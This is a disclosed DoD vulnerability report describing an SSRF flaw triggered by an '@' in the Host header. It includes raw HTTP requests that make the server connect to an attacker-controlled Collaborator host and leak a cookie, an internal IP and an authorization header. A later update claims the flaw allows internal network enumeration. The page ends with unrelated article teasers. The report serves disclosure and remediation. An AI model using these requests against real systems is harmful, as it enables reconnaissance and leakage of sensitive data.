hackone ssrf
Jan 29th (2 years ago)
Summary:
A server side request forgery vulnerability appears to leak an internal IP address and tries to connect to an attacker controlled host.
Description:
In an normal request on this web pageGET /HTTP/1.1It will connect to the website as expected but if we use a @ on the host header like this
Host: www.████████
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: mt=rid=6130; ASPSESSIONIDQABQSQCS=GNPLOPOCDIGPIKHGFMDDBLBG; googtrans=/en/zh-TW
Connection: close
Upgrade-Insecure-Requests: 1
GET / HTTP/1.1
Host: www.█████████:80@██████████.burpcollaborator.net
Pragma: no-cache
Cache-Control: no-cache, no-transform
Connection: close
It'll attempt to connect to our website and leak various information.
On our server we would see this,
GET / HTTP/1.1
Host: ████████.burpcollaborator.net
Pragma: no-cache
Cache-Control: no-cache, no-transform
Cookie: mt=rid=6130; ASPSESSIONIDQABQSQCS=GNPLOPOCDIGPIKHGFMDDBLBG
X--------------: 1.1.1.1
Accept-Encoding: gzip, deflate, identity
Connection: Keep-Alive
Authorization: Basic d3d3LnZpLm5nYi5hcm15Lm1pbDo4MA==
X-BlueCoat-Via: 913daace1d652c00
Additionally we will see a DNS look up from this IP, 214.72.0.2 Which I confirmed to be DOD owned
Impact
Medium
Step-by-step Reproduction Instructions
We can reproduce this simply using www.████:80@yourhostname.com for the host header and we'll the see the results. As seen below
GET / HTTP/1.1
Host: www.████:80@yourwebsite.com
Pragma: no-cache
Cache-Control: no-cache, no-transform
Connection: close
If you have burp suite pro, you can do this easily with burp collaborator
Product, Version, and Configuration (If applicable)
N/a
Suggested Mitigation/Remediation Actions
Refuse attempts to connect to other hosts.
Impact
This will allow attackers to gain access to an internal IP of a DOD website along with other sensitive information that may be leaked with the request

Jan 29th (2 years ago)
Greetings from the Department of Defense (DoD),
Thank you for supporting the DoD Vulnerability Disclosure Program (VDP).
By submitting this report, you acknowledge understanding of, and agreement to, the DoD Vulnerability Disclosure Policy as detailed at @DeptofDefense.
The VDP Team will review your report to ensure compliance with the DoD Vulnerability Disclosure Policy. If your report is determined to be out-of-scope, it will be closed without action.
We will attempt to validate in-scope vulnerability reports and may request additional information from you if necessary. We will forward reports with validated vulnerabilities to DoD system owners for their action.
Our goal is to provide you with status updates not less than every two weeks until the reported vulnerability is resolved.
Regards,
The VDP Team
Updated Feb 7th (2 years ago)
Greetings @alyssa_herrera,
To validate the reported vulnerability, we require additional information.
Can you please answer the following questions?
Which information do you deem sensitive? Also please provide screenshot(s) or screen recording to illustrate the issue so we can clearly understand the issue you are reporting.
I will continue processing your report on receipt of your response. You will receive another status update upon completion of this review. If I have any other questions in the interim, I will be back in touch.
If we do not receive a response within two weeks, we will send you a second request for this information. If we do not receive a response from you within two weeks of the second notice, we will have to close this report without action.
If you have any questions, please let me know.
Thanks again for supporting the DoD Vulnerability Disclosure Program.
Regards,
Updated Oct 11th (2 months ago)
This is quite similar to #277450 and with the same issue.
Whois for both ip's
Source: whois.arin.net
IP Address: ██████
Name: ███
Handle: ███████
Registration Date: █████
Range: ████
Org: ████████
Org Handle: ███
Address: ██████
City: ████████
State/Province: ████
Postal Code: █████
Country: United States
Name Servers:
Source: whois.arin.net
IP Address: █████
Name: ███
Handle: ███
Registration Date: █████
Range: ████
Org: Headquarters, █████████
Org Handle: ████████
Address: ████
City: ███
State/Province: ███████
Postal Code: █████
Country: United States
Name Servers:
Feb 7th (2 years ago)
Greetings,
We have validated the vulnerability you reported and are preparing to forward this report to the affected DoD system owner for resolution.
Thank you for bringing this vulnerability to our attention!
We will endeavor to answer any questions the system owners may have regarding this report; however, there is a possibility we will need to contact you if they require more information to resolve the vulnerability.
You will receive another status update after we have confirmed your report has been resolved by the system owner. If you have any questions, please let me know.
Thanks again for supporting the DoD Vulnerability Disclosure Program.
Regards,
The VDP Team
Updated Oct 11th (2 months ago)
Hello, i'd like to give a bit of an update on this exploit. I figured out we can perform blind SSRF using this exploit.
If we use an https enabled website, We can trigger an SSL error which leads me to believe this website has the necessary capability to connect to other military websites either through the intranet or through clearnet. If we can query known military DNS it'll time out confirming it exists. I can do this with any DoD IP thus an attacker can enumerate the DoD internal infrastructure. I hope this is enough to bump the severity up a bit. Additionally We can use an IP I was able to pull from another report of mine to prove this theory,
If we use www.██████████:80@████████
We can use this to tunnel into internal networks and access intranet servers which I assume is accessible to NIPERNET if my understanding of the DoD intranet is correct

Oct 24th (about 1 year ago)
Good news!
The vulnerability you reported has been resolved and this report is now closed. If you have any further questions or disagree that the report is resolved, please let us know.
Thank you for your time and effort to improve the security of the DoD information network.
Regards,
The VDP Team

Dec 3rd (2 days ago)
Approved for disclosure. Thanks for your participation in the DoD Vulnerability Disclosure Program (VDP). Please follow us on Twitter @DC3VDP
hackone ssrf的更多相关文章
- SSRF篇-本着就了解安全本质的想法,尽可能的用通俗易懂的语言去解释安全漏洞问题
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF攻击的目标是从外网无法访问的内部系统.( ...
- SSRF安全威胁在JAVA代码中的应用
如上图所示代码,在进行外部url调用的时候,引入了SSRF检测:ssrfChecker.checkUrlWithoutConnection(url)机制. SSRF安全威胁: 很多web应用都提供 ...
- web安全之ssrf
ssrf(服务器端请求伪造)原理: 攻击者构造形成由服务端发起请求的一个漏洞.把服务端当作跳板来攻击其他服务,SSRF的攻击目标一般是外网无法访问到的内网 当服务端提供了从其他服务器获取数据的功能(如 ...
- SSRF攻击实例解析
ssrf攻击概述 很多web应用都提供了从其他的服务器上获取数据的功能.使用用户指定的URL,web应用可以获取图片,下载文件,读取文件内容等.这个功能如果被恶意使用,可以利用存在缺陷的web应用作为 ...
- WebLogic SSRF 漏洞 (简要翻译)
[Ref]http://blog.gdssecurity.com/labs/2015/3/30/weblogic-ssrf-and-xss-cve-2014-4241-cve-2014-4210-cv ...
- SSRF漏洞学习
SSRF SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF攻击的目标是从外网无法访问的内 ...
- SSRF漏洞总结
SSRF漏洞:(服务端请求伪造)是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF攻击的目标是从外网无法访问的内部系统.(正是因为它是由服务端发起的,所以它能够请求到与它相连而 ...
- 浅谈SSRF漏洞
SSRF漏洞是如何产生的? SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF是要目标网站 ...
- Discuz!另一处SSRF无须登陆无须条件
漏洞来源:http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0151179.html 看看poc:http://phpstudy.com/Discuz_ ...
随机推荐
- docker部署gitlab
Docker部署gitlab 一.前提条件 (1) 存在docker (2) 服务器可以联网(外网) (3) 服务器内存至少4G(内存不够会出现502错误) 内存不足502错误 ...
- 跟哥一起学Python(1) - python简介
01—写在前面 我做了十几年的程序猿,码过代码.带过项目.做过产品经理.做过软件架构师.因为我是做通信设备软件的,面向底层操作系统,所以我的工作主要以C语言为主.Python在我的工作中通常用来写一些 ...
- <学习笔记: Django之初见>
Django 1. web框架介绍 具体介绍Django之前,必须先介绍WEB框架等概念. web框架: 别人已经设定好的一个web网站模板,你学习它的规则,然后“填空”或“修改”成你自己需要的样子. ...
- 04_CSS入门和高级技巧(2)
上节课复习 HTML表格,table.tr.td(th):thead.tbody:caption. 一定要会根据图形,来写表格: <table border="1"> ...
- Qt保持窗口在最上方
原文:https://blog.csdn.net/hl1hl/article/details/85244451 前言 在Qt开发桌面软件的过程中,根据开发的需求不同,我们经常需要将弹出窗口,一般常见的 ...
- HMM-前向后向算法与实现
目录 基本要素 HMM三大问题 概率计算问题 前向算法 后向算法 前向-后向算法 基本要素 状态 \(N\)个 状态序列 \(S = s_1,s_2,...\) 观测序列 \(O=O_1,O_2,.. ...
- python3语法学习第四天--字符串
字符串:是python中的常用数据类型 Python 不支持单字符类型,单字符在 Python 中也是作为一个字符串使用 访问字符串的值: 下标和分片截取 字符串的连接:‘+’ 字符串内置函数挺多,选 ...
- 【原理探究】女朋友问我ArrayList遍历时删除元素的正确姿势是什么?
简介 我们在项目开发过程中,经常会有需求需要删除ArrayList中的某个元素,而使用不正确的删除方式,就有可能抛出异常.或者在面试中,会遇到面试官询问遍历时如何正常删除元素.所以在本篇文章中,我们会 ...
- 【教程】高德地图使用ECharts实现数据可视化
关于百度地图结合ECharts实现数据可视化的资料已经很多了,毕竟是官方提供支持的,这里就不再赘述.今天我们来讲一下让高德地图与ECharts结合来实现数据可视化图表的展示. 一.ECharts 高德 ...
- 1005 Spell It Right (20分)
1005 Spell It Right (20分) 题目: Given a non-negative integer N, your task is to compute the sum of all ...